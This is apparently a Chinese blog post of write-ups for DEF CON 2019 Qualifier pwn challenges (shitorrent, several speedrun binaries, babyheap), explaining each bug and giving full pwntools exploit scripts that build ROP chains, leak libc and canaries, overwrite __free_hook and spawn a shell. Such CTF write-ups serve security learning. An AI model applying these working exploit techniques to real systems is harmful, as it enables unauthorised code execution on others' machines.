Defcon2019Q
Defcon Qual 2019 Pwn
shitorrent
题目描述
22个队伍做出来,这题还是有点难度的。看来作者写了一个消息传递的程序。 附件有可执行程序和源码。
分析程序
添加admin pc需要自己开启一个socket发送字符串 TORADMIN
。
所以我开启了两个网络程序。
import socket
from time import sleep
import sys
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.bind(('0.0.0.0',2332))
sock.listen(100)
cnt=0
while True:
print('listening ...')
try:
csock,addr=sock.accept()
except KeyboardInterrupt:
csock.close()
print("Exited")
sys.exit(0)
print("Connected to ",addr)
rp=csock.recv(100)
print(rp)
csock.send(b'TORADMIN')
print("Send TORADMIN")
sleep(0.01)
csock.send(b'i am admin,hacking u')
print("Send HACK #%d"%cnt)
cnt += 1
csock.close()
import socket
from time import sleep
import sys
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.bind(('0.0.0.0',2333))
sock.listen(100)
cnt=0
while True:
print('listening ...')
try:
csock,addr=sock.accept()
except KeyboardInterrupt:
csock.close()
print("Exited")
sys.exit(0)
print("Connected to ",addr)
rp=csock.recv(100)
print(rp)
csock.send(b'LISTENER')
print("Send Listener")
sleep(0.01)
csock.send(b'i am admin,hacking u')
print("Send HACK #%d"%cnt)
cnt += 1
csock.close()
仔细分析源码后,漏洞点锁定在 FD_SET(scok,rfds)
vscode 跳进 FD_SET 定义
可以看出fds_bits有固定大小为1024 bits。通过标记相应位表示相应的fd正在占用。
源码设置了fd上限为65536,fds变量空间在main函数栈上。生成多个fd使得fdset发生溢出。
攻击思路
- 存在栈溢出,需要绕过canary,从源码可知,创建listener生成的sock,增加fd数量,但不会放入 fd_set。那么可先申请一批listener,这样就绕过canary了。
- 程序是静态链接的,ROPgadget找到ropchain
- ROP -> Pwned!
Pwned!
exp
#!/usr/bin/env python
#coding=utf8
from pwn import *
import primedbg
import sys
from struct import pack
# Padding goes here
def ropchain():
p = ''
p += pack('<Q', 0x0000000000407888) # pop rsi ; ret
p += pack('<Q', 0x00000000006da0e0) # @ .data
p += pack('<Q', 0x00000000004657fc) # pop rax ; ret
p += '/bin//sh'
p += pack('<Q', 0x00000000004055c1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000407888) # pop rsi ; ret
p += pack('<Q', 0x00000000006da0e8) # @ .data + 8
p += pack('<Q', 0x0000000000460b90) # xor rax, rax ; ret
p += pack('<Q', 0x00000000004055c1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000400706) # pop rdi ; ret
p += pack('<Q', 0x00000000006da0e0) # @ .data
p += pack('<Q', 0x0000000000407888) # pop rsi ; ret
p += pack('<Q', 0x00000000006da0e8) # @ .data + 8
p += pack('<Q', 0x0000000000465855) # pop rdx ; ret
p += pack('<Q', 0x00000000006da0e8) # @ .data + 8
p += pack('<Q', 0x0000000000460b90) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000490930) # add rax, 3; ret;
p += pack('<Q', 0x0000000000490930) # add rax, 3; ret;
p += pack('<Q', 0x0000000000490930) # add rax, 3; ret;
p += pack('<Q', 0x0000000000490930) # add rax, 3; ret;
p += pack('<Q', 0x0000000000490930) # add rax, 3; ret;
p += pack('<Q', 0x0000000000490930) # add rax, 3; ret;
p += pack('<Q', 0x0000000000490930) # add rax, 3; ret;
p += pack('<Q', 0x0000000000490930) # add rax, 3; ret;
p += pack('<Q', 0x0000000000490930) # add rax, 3; ret;
p += pack('<Q', 0x0000000000490930) # add rax, 3; ret;
p += pack('<Q', 0x0000000000490930) # add rax, 3; ret;
p += pack('<Q', 0x0000000000490930) # add rax, 3; ret;
p += pack('<Q', 0x0000000000490930) # add rax, 3; ret;
p += pack('<Q', 0x0000000000490930) # add rax, 3; ret;
p += pack('<Q', 0x0000000000490930) # add rax, 3; ret;
p += pack('<Q', 0x0000000000490930) # add rax, 3; ret;
p += pack('<Q', 0x0000000000490930) # add rax, 3; ret;
p += pack('<Q', 0x0000000000490930) # add rax, 3; ret;
p += pack('<Q', 0x0000000000490930) # add rax, 3; ret;
p += pack('<Q', 0x0000000000490920) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000490920) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004172e5) # syscall
#print(len(p))
res=[]
for byte in p:
num=ord(byte)
for i in range(8):
res.append(num&1)
num=num>>1
success('bitmap len=%d'%(len(res)))
#print(res)
return res
context.arch='amd64'
io=process('./shitorrent')
if len(sys.argv)==2 and sys.argv[1]=='dbg':
primedbg.p_attach_dbg(io,[0x00000A3B])
def add_pc(host):
global io
io.sendlineafter('flag','a')
io.sendlineafter('enter host\n',host[0])
io.sendlineafter('enter port',str(host[1]))
def del_pc(fd):
global io
io.sendlineafter('flag','r')
sleep(0.01)
io.sendline(str(fd))
#0x0000000000400706: pop rdi; ret;
def test():
admin=('134.175.229.111',2332)
admin2=('127.0.0.1',2332)
listener=('134.175.229.111',2333)
add_pc(admin2)
io.interactive()
pass
def attack():
presize=0x98*8
bitmap=ropchain()
admin=('127.0.0.1',2332)
listener=('127.0.0.1',2333)
for i in range(presize-3):
if(i%8==0):
success('Byte[%d]'%(i/8))
add_pc(listener)
bitmaplen=len(bitmap)
cnt=0
#set all bits
for i in bitmap:
if(cnt%8==0):
success('bitmap %d/%d'%(cnt,bitmaplen))
add_pc(admin)
cnt +=1
#clear some bits
cnt=0
for i in bitmap:
if cnt%8==0:
success('bitmap %d/%d'%(cnt,bitmaplen))
if i==0:
del_pc(presize+cnt)
cnt +=1
io.sendlineafter('flag','q')
io.interactive()
if __name__=='__main__':
attack()
speedrun-009
保护全开
格式化字符串漏洞、栈溢出
攻击思路
- fmt 泄露栈上内容,得到libc一些符号地址,
one_gadget
也就有了 - fmt 泄露
canary
- ROP 到
one_gadget
Pwned!
#!/usr/bin/env python
#coding=utf8
from pwn import *
import primedbg
import sys
context.arch='amd64'
io=process('./speedrun-009')
if len(sys.argv)==2 and sys.argv[1]=='dbg':
primedbg.p_attach_dbg(io,[0x00000A3B])
#print(io.libs()[io.libc])
#print(hex(io.libc.address))
def cmd(idx):
io.sendafter(' or 3\n',str(idx))
def r_v5(c):
cmd(1)
# max 0x5dc
# v5[0x408]
sleep(0.01)
io.send(c)
def r_s(c):
cmd(2)
# max read 0xc8
# s[0xc7]
sleep(0.01)
io.send(c)
def leak(offset):
payload='a'*8+'.%'+str(offset)+'$pb*8'
r_s(payload)
io.recvuntil('a'*8+'.')
return io.recvuntil('b*8',True)
if __name__=='__main__':
r_v5('hello')
canary=int(leak(163),16)
libc_base=int(leak(27),16)-6396400
print(hex(libc_base))
one=libc_base+0x4f2c5
success(hex(one))
v5='a'*0x408+p64(canary)+'b'*8+p64(one)
r_v5(v5)
#raw_input()
cmd(3)
io.send('cat flag\n')
io.interactive()
babyheap
Reversing
primelee@vmware Desktop/CTF/now % strings libc.so| grep 'release version' 22:16:19
GNU C Library (Ubuntu GLIBC 2.29-0ubuntu2) stable release version 2.29.
libc.so 版本 2.29
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH babyheap_new
保护全开
-----Yet Another Babyheap!-----
[M]alloc
[F]ree
[S]how
[E]xit
------------------------
Command:
>
功能菜单
while ( buf != '\n' && buf )
{
*(_BYTE *)(*v4 + v3) = buf;
read(0, &buf, 1uLL);
if ( v2 == v3 )
return 0LL;
++v3;
}
return 0LL;
}
一个字节溢出
Pwning
- 填满 tcache list , free chunk X 到 unsorted bin,再free下一个chunk 调用 unlink,合并到 top chunk ,malloc 7次清空tcache list,malloc 泄露 unsorted bin 地址得到 libc 基地址
- 一个字节溢出改下一个 chunk B 的 size ,再次 malloc chunk B 可以覆盖下一个 chunk C , 此时 chunk C 在 tcache list ,fd 被篡改为 free_hook ,malloc 两次写 one gadget 入 free_hook。
Pwned!
#! /usr/bin/env python
from pwn import *
import sys
context.terminal=['tmux','splitw','-h']
def p_attach_dbg(io,brk_pts=[],syms={},init_cmd=''):
elf_base=io.libs()['/home/primelee/Desktop/CTF/now/babyheap_new']
cmd=""
for each in brk_pts:
cmd += 'b *'+hex(each+elf_base)+'\n'
for sym in syms:
cmd += 'set $'+sym+'='+str(syms[sym]+elf_base)+'\n'
print(cmd)
cmd += init_cmd
#optional debug env={"LD_PRELOAD":"./libc.so.6"}
gdb.attach(io,cmd)
def add(p,sz,c):
p.sendlineafter('>','M')
p.sendlineafter('>',str(sz))
p.sendlineafter('>',c)
def add2(p,sz,c):
p.sendlineafter('>','M')
p.sendlineafter('>',str(sz))
p.sendafter('>',c)
def free(p,idx):
p.sendlineafter('>','F')
p.sendlineafter('>',str(idx))
def show(p,idx):
p.sendlineafter('>','S')
p.sendlineafter('>',str(idx))
if __name__=='__main__':
elf=ELF('./babyheap_new',False)
libc=ELF('./libc.so',False)
free_hook=libc.symbols['__free_hook']
system=libc.symbols['system']
puts_got=elf.got['puts']
io=process('./babyheap_new')
if len(sys.argv)==2 and sys.argv[1]=='pdbg':
#context.log_level='debug'
p_attach_dbg(io,[0x00143C,],syms={
'list':0x4060,
'free':0x00013CC,
'_free':0x00001414,
'test':0x0133D
})
# debug add:0x000013C6, free:0x00013CC
# add(io,0xf8,'to be overflowed') #1
# free(io,1)
for i in range(0x7):
add(io,0xf8,str(i)) #i
add(io,1,'7') #7
add(io,0x1,'8') #8
for i in range(0x7):
free(io,i)
free(io,7)
free(io,8)
for i in range(7):
add(io,0xf8,'/bin/sh;') #i
add(io,0x1,'\xa0')
show(io,7)
io.recvn(1)
unsorted_bin=u64(io.recvn(6).ljust(8,'\x00'))
lib_base=unsorted_bin-1985696
free_hook=lib_base+free_hook
system=lib_base+0x52fd0
one_gadget=lib_base+0x106ef8
success(hex(unsorted_bin))
success('free_hook: %#x\nsystem: %#x'%(free_hook,system))
free(io,6)
add(io,0xf8,'a'*0xf8+'\x81')
free(io,5)
free(io,4)
add(io,0x178,'a'*0xf8+'b'*8+p64(free_hook)[:6]) #4
add(io,0x1,'5')
add2(io,0x6,p64(one_gadget)[:7]) #6
show(io,1)
free(io,0)
io.interactive()
speedrun-1
Reversing
primelee@vmware Desktop/CTF/now % file speedrun-001
speedrun-001: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=e9266027a3231c31606a432ec4eb461073e1ffa9, stripped
primelee@vmware Desktop/CTF/now % checksec speedrun-001 17:03:51
[*] '/home/primelee/Desktop/CTF/now/speedrun-001'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
静态编译、无栈溢出保护、无PIE、去符号。
无符号的静态编译程序,不恢复符号逆向逆到头大,用 IDA -> File -> Load file -> FLIRT signature 找到 ubuntu 18.04 glibc2.27 的签名文件,导入生成恢复大部分glibc符号。
至于版本如何确定,我的方法是
strings speedrun-001 | grep "ubuntu"
primelee@vmware Desktop/CTF/now % strings speedrun-001 | grep "ubuntu"
TLS generation counter wrapped! Please report as described in <https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
GCC: (Ubuntu 7.3.0-27ubuntu1~18.04) 7.3.0
这样ubuntu版本就泄露出来了,但有些出题人比较狡猾,可能 GCC版本是 Debian的,这是可以通过 strings 查看 有无tcache字符串来区分 2.26前后版本。加载有偏差的版本只能恢复少部分的符号。
__int64 sub_400B60()
{
char buf; // [rsp+0h] [rbp-400h]
puts("Any last words?");
_libc_read(0, &buf, 0x7D0uLL);
return sub_40F710((__int64)"This will be the last thing that you say: %s\n", &buf);
}
简单栈溢出
Pwning
primelee@vmware Desktop/CTF/now % ROPgadget --binary speedrun-001 --ropchain --silent> ropchain
ROPgadget 生成 system(“/bin/sh”) 的 ropchain 。
Pwned!
#!/usr/bin/env python2
# execve generated by ROPgadget
from pwn import *
from struct import pack
io=process('./speedrun-001')
# Padding goes here
p = 'a'*0x400+'abcdefgh' #rbp
p += pack('<Q', 0x00000000004101f3) # pop rsi ; ret
p += pack('<Q', 0x00000000006b90e0) # @ .data
p += pack('<Q', 0x0000000000415664) # pop rax ; ret
p += '/bin//sh'
p += pack('<Q', 0x000000000047f471) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004101f3) # pop rsi ; ret
p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
p += pack('<Q', 0x0000000000444bc0) # xor rax, rax ; ret
p += pack('<Q', 0x000000000047f471) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000400686) # pop rdi ; ret
p += pack('<Q', 0x00000000006b90e0) # @ .data
p += pack('<Q', 0x00000000004101f3) # pop rsi ; ret
p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
p += pack('<Q', 0x00000000004498b5) # pop rdx ; ret
p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
p += pack('<Q', 0x0000000000444bc0) # xor rax, rax ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000040129c) # syscall
io.send(p)
io.interactive()
speedrun-02
动态链接的栈溢出。
leak libc,return one_gadget
from pwn import *
import primedbg
context.arch='amd64'
elf=ELF('./speedrun-002')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
puts_plt=elf.symbols['puts']
puts_got=elf.got['puts']
pop_rdi=0x00000000004008a3
io=process('./speedrun-002')
io.sendline('Everything intelligent is so boring.')
payload='a'*0x408+\
flat([
pop_rdi,
puts_got,
puts_plt,
0x40074C, # key-main
])
io.recvuntil('What an interesting thing')
io.send(payload)
io.recvuntil('Fascinating.\n')
key=u64(io.recv(7)[:6].ljust(8,chr(0)))
libcbase=key-libc.symbols['puts']
success('libc base: %#x'%libcbase)
io.sendline('Everything intelligent is so boring.')
payload='a'*0x408+\
flat([
0x10a38c+libcbase
])
io.recvuntil('What an interesting thing')
io.send(payload)
io.interactive()
# 0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
# constraints:
# rsp & 0xf == 0
# rcx == NULL
# 0x4f322 execve("/bin/sh", rsp+0x40, environ)
# constraints:
# [rsp+0x40] == NULL
# 0x10a38c execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL
speedrun-07
Reversing
ssize_t hack()
{
int v1; // [rsp+8h] [rbp-408h]
char v2; // [rsp+Eh] [rbp-402h]
char v3; // [rsp+Fh] [rbp-401h]
char buf[1024]; // [rsp+10h] [rbp-400h]
read(0, buf, 0x400uLL);
while ( 1 )
{
puts("Changes you'd like to make (y/n)?");
read(0, &v3, 1uLL);
if ( v3 == 'n' )
break;
v1 = 0;
read(0, &v1, 1uLL);
read(0, (char *)&v1 + 1, 1uLL);
read(0, &v2, 1uLL);
buf[v1] = v2;
}
return write(1, "So cool.\n", 9uLL);
}
buf[v1]=v2,buf地址后0xffff位任意写。程序开了PIE。
Pwning
ROP的指令跳转需要ELF_addr和libc的地址才能getshell。无奈情况只能用猜字节,main函数栈返回地址是libc_start_main+231,改后三个字节为 one_gadget,简单计算暴力攻击4096次应该能爆出来。
Pwned!
[+] Starting local process './speedrun-007': pid 23454
[+] Receiving all data: Done (0B)
[*] Process './speedrun-007' stopped with exit code -11 (SIGSEGV) (pid 23454)
('Try #%d', 2704)
[+] Starting local process './speedrun-007': pid 23458
[+] Receiving all data: Done (0B)
[*] Process './speedrun-007' stopped with exit code -11 (SIGSEGV) (pid 23458)
('Try #%d', 2705)
[+] Starting local process './speedrun-007': pid 23462
[+] Receiving all data: Done (25B)
[*] Process './speedrun-007' stopped with exit code -14 (SIGALRM) (pid 23462)
primelee@vmware Desktop/CTF/now %
2705次攻击成功了 ;-(
primelee@vmware Desktop/CTF/now % cat pwn_flag
OOO{defcon_speedrun_007}
from pwn import *
import primedbg
# context.terminal=['tmux','splitw','-h']
# io=gdb.debug(['./speedrun-007'])
context.arch='amd64'
def pwning():
io=process('./speedrun-007')
#primedbg.p_attach_dbg(io,[0x9F6]) #0x9F6,0x0873
one_gadget=0x10a38c
def pquit():
io.recvuntil("Changes you'd like to make (y/n)?\n")
io.send('n')
def edit(offset,val):
io.recvuntil("Changes you'd like to make (y/n)?\n")
sleep(0.01)
io.send('y')
sleep(0.1)
io.send(chr(offset & 0xff))
sleep(0.1)
io.send(chr((offset>>8)&0xff))
sleep(0.01)
io.send(chr(val))
pop_rdi=0x0000000000000a63
ret=0x0000000000000696
# io.sendline('buf');sleep(0.01)
# pquit()
io.send('buf');sleep(0.01)
offset=0x200
val=0x20
edit(0x638,0x8c)
edit(0x639,0xa3)
edit(0x63a,0x10)
pquit()
io.recvuntil('L8R.\n')
sleep(0.1)
io.sendline('cat flag\n')
try:
res=io.recvall(200)
if 'OOO{' in res:
f=open("pwn_flag",'w')
f.write(res)
f.close()
return True
else:
return False
except EOFError:
#io.close()
print("False")
return False
if __name__=="__main__":
i=1735
while True:
i+=1
print("Try #%d",i)
if pwning():
break
# 0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
# constraints:
# rsp & 0xf == 0
# rcx == NULL
# 0x4f322 execve("/bin/sh", rsp+0x40, environ)
# constraints:
# [rsp+0x40] == NULL
# 0x10a38c execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL""
#0x638
speedrun-10
Reversing
primelee@vmware Desktop/CTF/now % checksec speedrun-010 23:29:52
[*] '/home/primelee/Desktop/CTF/now/speedrun-010'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
primelee@vmware Desktop/CTF/now % ./speedrun-010 23:32:23
Secure Coding is hard!
Choose something.
1, 2, 3, 4, or 5
奇怪的菜单题,数据结构设计也奇怪。
case '1':
if ( v4 > 5 )
return __readfsqword(0x28u) ^ v8;
++v4;
puts("Need a name");
v7 = (char *)malloc(0x30uLL);
read(0, v7 + 8, 0x17uLL);
v7[31] = 0;
*((_QWORD *)v7 + 4) = &puts;
name_list[v4 - 1] = v7;
break;
name_chunk 结构如图
# name_chunk [0,48]
# -[8,32) name_string
# -[32,40) puts
case '2':
if ( v3 > 5 )
return __readfsqword(0x28u) ^ v8;
++v3;
puts("Need a message");
v6 = (char *)malloc(0x30uLL);
v0 = (__int64)(v6 + 16);
read(0, v6 + 16, 0x18uLL);
v6[40] = 0;
(*((void (__fastcall **)(char *, __int64))name_list[v4 - 1] + 4))((char *)name_list[v4 - 1] + 8, v0);
*((_QWORD *)v6 + 1) = &puts;
(*((void (__fastcall **)(const char *))v6 + 1))(" says ");
(*((void (__fastcall **)(char *))v6 + 1))(v6 + 16);
(*((void (__fastcall **)(const char *))v6 + 1))("\n");
*(_QWORD *)v6 = name_list[v4 - 1];
msg_list[v3 - 1] = v6;
break;
msg_chunk 定义
# msg_chunk [0,48]
# -[0,8) p_name_chunk
# -[8,16) puts
# -[16,40] msg_string
case '3':
if ( !v4 )
return __readfsqword(0x28u) ^ v8;
free(name_list[v4 - 1]);
break;
default:
if ( buf != '4' || !v3 )
return __readfsqword(0x28u) ^ v8;
free(msg_list[v3-- - 1]);
break;
漏洞在于释放堆,为置零,通过UAF可以泄露puts@got内容。name_chunk 和 msg_chunk 重叠,更改name_chunk 处的puts为system实现弹shell。
Pwned!
#! /bin/env python
#coding=utf8
#============
# name_chunk [0,48]
# -[8,32) name_string
# -[32,40) puts
#
# msg_chunk [0,48]
# -[0,8) p_name_chunk
# -[8,16) puts
# -[16,40] msg_string
#============
from pwn import *
import primedbg
import sys
context.terminal=['tmux','splitw','-h']
io=process('./speedrun-010')
libc=ELF("./libc.so.6",False)
if len(sys.argv)==2 and sys.argv[1]=='pdbg':
primedbg.attach_dbg(io,[0x000AE7,0x009C0],{'name':0x202080,'msg':0x00202040},'c\n')
raw_input()
def cmd(io,idx):
sleep(0.1)
io.send(str(idx))
def add_name(io,name):
cmd(io,1)
sleep(0.1)
io.send(name)
def add_msg(io,msg):
cmd(io,2)
sleep(0.1)
io.send(msg)
def free_name(io):
cmd(io,3)
def free_msg(io):
cmd(io,4)
add_name(io,'primelee')
add_msg(io,' I \'m is hacking!')
raw_input()
free_name(io)
add_msg(io,'1'*16)
io.recvuntil('1'*16)
puts=u64(io.recv(6).ljust(8,'\x00'))
success('%#x'%puts)
libcbase=puts-libc.symbols['puts']
system=libcbase+libc.symbols['system']
add_name(io,'/bin/sh\x00')
free_name(io)
add_msg(io,'\x00'*16+p64(system))
io.interactive()
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论。
文章标题:Defcon2019Q
本文作者:枫云李
发布时间:2020-04-14, 00:00:00
最后更新:2020-04-23, 13:57:48
原始链接:https://primelyw.github.io/2020/04/14/Defcon2019Q/版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。